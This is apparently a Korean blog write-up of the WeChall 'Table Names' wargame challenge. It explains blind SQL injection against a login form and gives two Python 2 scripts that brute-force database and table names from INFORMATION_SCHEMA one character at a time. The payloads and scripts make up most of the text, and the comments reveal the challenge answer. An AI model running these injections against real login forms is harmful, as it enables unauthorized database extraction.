Table Names

이번 문제는 Blind SQL Injection 문제이다.

로그인 시 ID 입력 폼에 "test' or 1=1 #" 라고 입력하면 로그인이 정상적으로 됨을 알 수 있다. 즉, SQL Injection이 가능한 것이다. 따라서 이를 이용해 INFORMATION_SCHEMA.TABLES 테이블의 TABLE_SCHEMA 및 TABLE_NAME 칼럼을 통해 데이터베이스명과 테이블명을 확인할 수 있다.

단, 이름 확인 시 약간의 팁이 필요한데 쿼리 전송 시 올바른 응답이면 "Welcome" 이라는 문자가 나오는 점을 착안해 아래와 같은 쿼리를 통해 Ascii 문자를 하나씩 매칭하여 확인할 수 있다. 아래는 ID 폼에 입력할 각 쿼리문들이다.

데이터베이스명 길이 확인하는 쿼리
1' or length((SELECT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1))=대입값 #

데이터베이스명을 한문자씩 Ascii 값으로 확인하는 쿼리
1' or Ascii(Substr((SELECT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1),대입값,1))=대입값 #

추가로 위 쿼리에서 설명한 "대입값" 부분에 대해 Brute Force를 해야 한다. 속도가 느릴 수 있으므로 범위를 최대한 좁히기 위해 아래와 같이 할 수 있다.

우선 범위는 아스키코드 범위인 33(!) ~ 125 (}) 으로 지정할 수 있다. 그리고 아스키코드 확인 시 >= 기호를 사용하여 10씩 더해가며 확인하다 매치가 안되는 순간이 오면 그때부터 숫자를 하나씩 줄여가며 대입을 하면 좀 더 빠르게 서치가 가능할 것이다.

위에서 설명한 방법으로 코드를 작성하면 아래와 같다.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import httplib, urllib

# 2011. 7. 13 / ByJJoon
# http://www.wechall.net/challenge/table_names/index.php 풀이
# gizmore_tableu61_usertableus4

output = ''
conn = httplib.HTTPConnection('www.wechall.net')

# 데이터베이스명 길이 알아내는 부분
for length in range(1, 30):
    # 1' or length((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1))=1 #
    injection = "1' or length((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 1,1))=" + str(length) + ' #'
    params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})

    conn.request('GET', '/challenge/table_names/challenge.php?' + params)
    response = conn.getresponse()
    data = response.read()
    if data.find('Welcome') != -1:
        print 'Length : ' + str(length)
        break

# 데이터데이스명 알아내는 부분
for pos in range(length+1):
    # Ascii range : !(33) - }(125)
    for x in range(33, 126, 10):
        flag = 0
        # 1' or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1),1,1))>=1 #
        injection = "1' or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 1,1)," + str(pos) + ',1))>=' + str(x) + ' #'
        params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})
        conn.request('GET', '/challenge/table_names/challenge.php?' + params)

        response = conn.getresponse()
        #print response.status, response.reason
        data = response.read()
        #print data

        if data.find('Welcome') == -1:
            for z in range(x-10, x+1):
                # 1' or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1),1,1))=1 #
                injection = "1' or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 1,1)," + str(pos) + ',1))=' + str(z) + ' #'
                params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})
                conn.request('GET', '/challenge/table_names/challenge.php?' + params)

                response = conn.getresponse()
                data = response.read()
                if data.find('Welcome') != -1:
                    print chr(z)
                    output += chr(z)
                    flag = 1
                    break

        if flag == 1:
            break

conn.close()
print output
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import httplib, urllib

# 2011. 7. 13 / ByJJoon
# http://www.wechall.net/challenge/table_names/index.php 풀이
# gizmore_tableu61_usertableus4

output = ''
conn = httplib.HTTPConnection('www.wechall.net')

# 테이블명 길이 알아내는 부분
for length in range(1, 30):
    # 1' or length((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1))=1 #
    injection = '''1' or length((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1))=''' + str(length) + ' #'
    params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})

    conn.request('GET', '/challenge/table_names/challenge.php?' + params)
    response = conn.getresponse()
    data = response.read()
    if data.find('Welcome') != -1:
        print 'Length : ' + str(length)
        break

# 테이블명 알아내는 부분
for pos in range(length+1):
    # Ascii range : !(33) - }(125)
    for x in range(33, 126, 10):
        flag = 0
        # 1' or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1),1,1))>=1 #
        injection = '''1' or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1),''' + str(pos) + ',1))>=' + str(x) + ' #'
        params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})
        conn.request('GET', '/challenge/table_names/challenge.php?' + params)

        response = conn.getresponse()
        #print response.status, response.reason
        data = response.read()
        #print data

        if data.find('Welcome') == -1:
            for z in range(x-10, x+1):
                # 1' or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1),1,1))=1 #
                injection = '''1' or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1),''' + str(pos) + ',1))=' + str(z) + ' #'
                params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})
                conn.request('GET', '/challenge/table_names/challenge.php?' + params)

                response = conn.getresponse()
                data = response.read()
                if data.find('Welcome') != -1:
                    print chr(z)
                    output += chr(z)
                    flag = 1
                    break

        if flag == 1:
            break

conn.close()
print output

답글 남기기

이메일 주소를 발행하지 않을 것입니다. 필수 항목은 *(으)로 표시합니다